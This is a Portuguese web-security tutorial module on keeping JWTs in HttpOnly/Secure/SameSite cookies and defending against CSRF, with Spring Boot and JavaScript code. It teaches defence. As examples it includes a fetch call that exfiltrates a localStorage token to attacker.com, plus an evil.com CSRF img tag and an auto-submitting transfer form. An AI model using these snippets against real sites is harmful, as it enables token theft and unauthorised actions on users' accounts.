Security HTTP XSS Mitigation CSRF
Módulo 2 de 3

O Cookie HttpOnly como Transporte Seguro

O JWT foi emitido. O próximo problema é crítico: onde é que ele vive no browser? A resposta errada cria uma janela de ataque permanente. Este módulo desmonta o mito do localStorage, explica como o Cookie HttpOnly elimina a superfície de ataque XSS sobre o token, e detalha a nova ameaça que os cookies introduzem — o CSRF — e como a neutralizar.

A Regra que não tem exceção Um JWT em localStorage é acessível a qualquer script JavaScript que corra na página — incluindo scripts injetados por XSS. Um JWT num cookie HttpOnly é completamente opaco ao JavaScript. Esta diferença é a fronteira entre seguro e inseguro.

O Mito do localStorage

É comum ver tutoriais a guardar JWTs em localStorage ou sessionStorage. A justificação habitual é conveniência: é simples de ler, de enviar em headers, de limpar no logout. O problema é fundamental — não é de implementação, é de modelo de segurança.

localStorage é acessível a qualquer JavaScript que execute no contexto da página. Um ataque XSS — mesmo que mínimo, mesmo que através de uma dependência de terceiros — pode executar localStorage.getItem('token') e exfiltrar o JWT para um servidor do atacante. A partir desse momento, o atacante tem a identidade completa do utilizador até o token expirar.

// ✗ INSEGURO — token exposto ao JavaScript
localStorage.setItem('access_token', jwt);

// Ataque XSS: qualquer script injetado pode fazer isto
const stolen = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?t=' + stolen);

// ✓ SEGURO — cookie HttpOnly: JS não consegue ler nem modificar
// O servidor define via header de resposta:
// Set-Cookie: access_token=<jwt>; HttpOnly; Secure; SameSite=Lax; Path=/
document.cookie; // access_token NÃO aparece aqui — opaco ao JS
XSS não precisa de ser o teu código A superfície de ataque XSS inclui todas as dependências npm do teu projeto. Uma biblioteca comprometida (supply chain attack) tem acesso ao mesmo localStorage que o teu código. Com HttpOnly, esse vetor de roubo de token é eliminado estruturalmente.

Os Três Atributos do Cookie Seguro

Um cookie de autenticação em produção requer três atributos mínimos. Cada um fecha uma superfície de ataque distinta.

Atributo 1
HttpOnly

O browser nunca expõe este cookie ao JavaScript. Não aparece em document.cookie, não é acessível via fetch ou XmlHttpRequest. Elimina o roubo de token por XSS.

Atributo 2
Secure

O browser só envia este cookie em ligações HTTPS. Impede a intercepção do token em redes não seguras (ex: Wi-Fi público). Obrigatório em produção sem exceção.

Atributo 3
SameSite

Controla em que cross-site requests o cookie é enviado. A primeira linha de defesa contra CSRF. O valor recomendado é Lax para a maioria das aplicações. Detalhado na secção seguinte.

// Definição no servidor — Spring Boot
ResponseCookie cookie = ResponseCookie.from("access_token", jwtValue)
    .httpOnly(true)           // opaco ao JavaScript
    .secure(true)            // apenas HTTPS
    .sameSite("Lax")         // proteção CSRF base
    .path("/")              // enviado em todos os paths da API
    .maxAge(Duration.ofMinutes(15))
    .build();

response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

O Novo Problema: CSRF

Ao resolver o XSS com HttpOnly, introduzimos uma nova superfície de ataque: Cross-Site Request Forgery (CSRF). O comportamento que nos protege de XSS — o browser anexar o cookie automaticamente — é exatamente o comportamento que CSRF explora.

Num ataque CSRF, um site malicioso (evil.com) induz o browser do utilizador autenticado a fazer um pedido ao servidor legítimo (api.myapp.com). O browser, fiel ao seu comportamento, anexa o cookie automaticamente. O servidor recebe um pedido com um JWT válido — mas a ação não foi iniciada pelo utilizador.

<!-- evil.com — ataque CSRF silencioso -->
<img src="https://api.myapp.com/accounts/99/delete">
<!-- O browser carrega a imagem e envia o cookie automaticamente.
     Se o endpoint não tiver proteção CSRF, a conta é apagada. -->

<form action="https://api.myapp.com/transfer" method="POST">
  <input type="hidden" name="amount" value="10000">
  <input type="hidden" name="to" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>
CSRF não rouba o token — abusa da sessão existente O atacante nunca vê o JWT. Apenas força o browser da vítima a fazer um pedido autenticado não autorizado. A defesa não pode ser "verificar o token" — o token é válido. A defesa tem de provar que o pedido foi iniciado voluntariamente pelo utilizador.

Estratégias de Defesa CSRF

Estratégia 1 — SameSite Cookie (Recomendado)

O atributo SameSite instrui o browser a não enviar o cookie em pedidos cross-site. É a defesa mais simples e mais eficaz para a maioria das aplicações modernas.

ValorComportamentoRecomendação
Strict Cookie nunca enviado em pedidos cross-site, incluindo navegação normal por link de outro site. ⚠️ Pode quebrar fluxos legítimos (ex: link de email para página autenticada).
Lax Cookie enviado em navegação top-level por GET. Bloqueado em pedidos cross-site POST, iframe, img, fetch. Recomendado para a maioria das APIs REST.
None Cookie enviado sempre, incluindo cross-site. Exige obrigatoriamente Secure. 🚫 Só usar quando a API serve domínios terceiros legitimamente. Requer CSRF token adicional.

Estratégia 2 — CSRF Token Duplo (Double Submit Cookie)

Quando SameSite=Lax não é suficiente (ex: API cross-origin legítima com SameSite=None), usa-se um CSRF token adicional. O servidor gera um valor aleatório, envia-o num cookie legível (sem HttpOnly) e exige que o cliente o reenvie num header customizado.

Um site externo pode forçar o browser a enviar os cookies, mas não consegue ler o valor do cookie de CSRF para o replicar no header — isto é a separação que prova origem legítima.

// 1. Servidor define dois cookies no login:
//    access_token: HttpOnly; Secure; SameSite=None  ← JWT, opaco ao JS
//    csrf_token:   Secure; SameSite=None            ← legível pelo JS, sem HttpOnly

// 2. Frontend lê o CSRF token e envia em cada pedido mutável:
const getCsrfToken = () =>
  document.cookie
    .split(';')
    .find(c => c.trim().startsWith('csrf_token='))
    ?.split('=')[1];

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCsrfToken()
  },
  body: JSON.stringify({ amount: 100, to: 'friend_account' })
});
// 3. Servidor valida o header X-CSRF-Token contra o cookie csrf_token
@Component
public class CsrfValidationFilter extends OncePerRequestFilter {

    private static final Set<String> SAFE_METHODS =
        Set.of("GET", "HEAD", "OPTIONS");

    @Override
    protected void doFilterInternal(
            HttpServletRequest req,
            HttpServletResponse res,
            FilterChain chain) throws Exception {

        if (SAFE_METHODS.contains(req.getMethod())) {
            chain.doFilter(req, res); return;
        }

        String cookieToken = extractCookie(req, "csrf_token");
        String headerToken = req.getHeader("X-CSRF-Token");

        if (cookieToken == null || !cookieToken.equals(headerToken)) {
            res.sendError(HttpServletResponse.SC_FORBIDDEN, "CSRF token inválido");
            return;
        }

        chain.doFilter(req, res);
    }
}

Logout Seguro

Com cookies, o logout não pode ser feito apenas pelo cliente. O JavaScript não consegue apagar um cookie HttpOnly. O logout tem de ser um pedido ao servidor, que instrui o browser a expirar o cookie via Set-Cookie com Max-Age=0.

@PostMapping("/auth/logout")
public ResponseEntity<Void> logout(HttpServletResponse response) {

    ResponseCookie expiredAccess = ResponseCookie.from("access_token", "")
        .httpOnly(true).secure(true).sameSite("Lax")
        .path("/").maxAge(0)
        .build();

    ResponseCookie expiredRefresh = ResponseCookie.from("refresh_token", "")
        .httpOnly(true).secure(true).sameSite("Lax")
        .path("/auth/refresh").maxAge(0)
        .build();

    response.addHeader(HttpHeaders.SET_COOKIE, expiredAccess.toString());
    response.addHeader(HttpHeaders.SET_COOKIE, expiredRefresh.toString());

    return ResponseEntity.noContent().build();
}

Visão Geral: XSS vs. CSRF

AtaqueVetorO que comprometeDefesa principal
XSS Script injetado na página executa no browser da vítima Roubo do token se estiver em localStorage Cookie HttpOnly — token invisível ao JS
CSRF Site externo força o browser a fazer pedido autenticado Ações não autorizadas com sessão válida SameSite=Lax e/ou CSRF token duplo
A relação entre HttpOnly e CSRF HttpOnly não protege contra CSRF — protege contra XSS. São superfícies de ataque distintas. A combinação HttpOnly + Secure + SameSite=Lax fecha ambas para a maioria das aplicações. Quando SameSite=None é necessário, adiciona-se CSRF token duplo.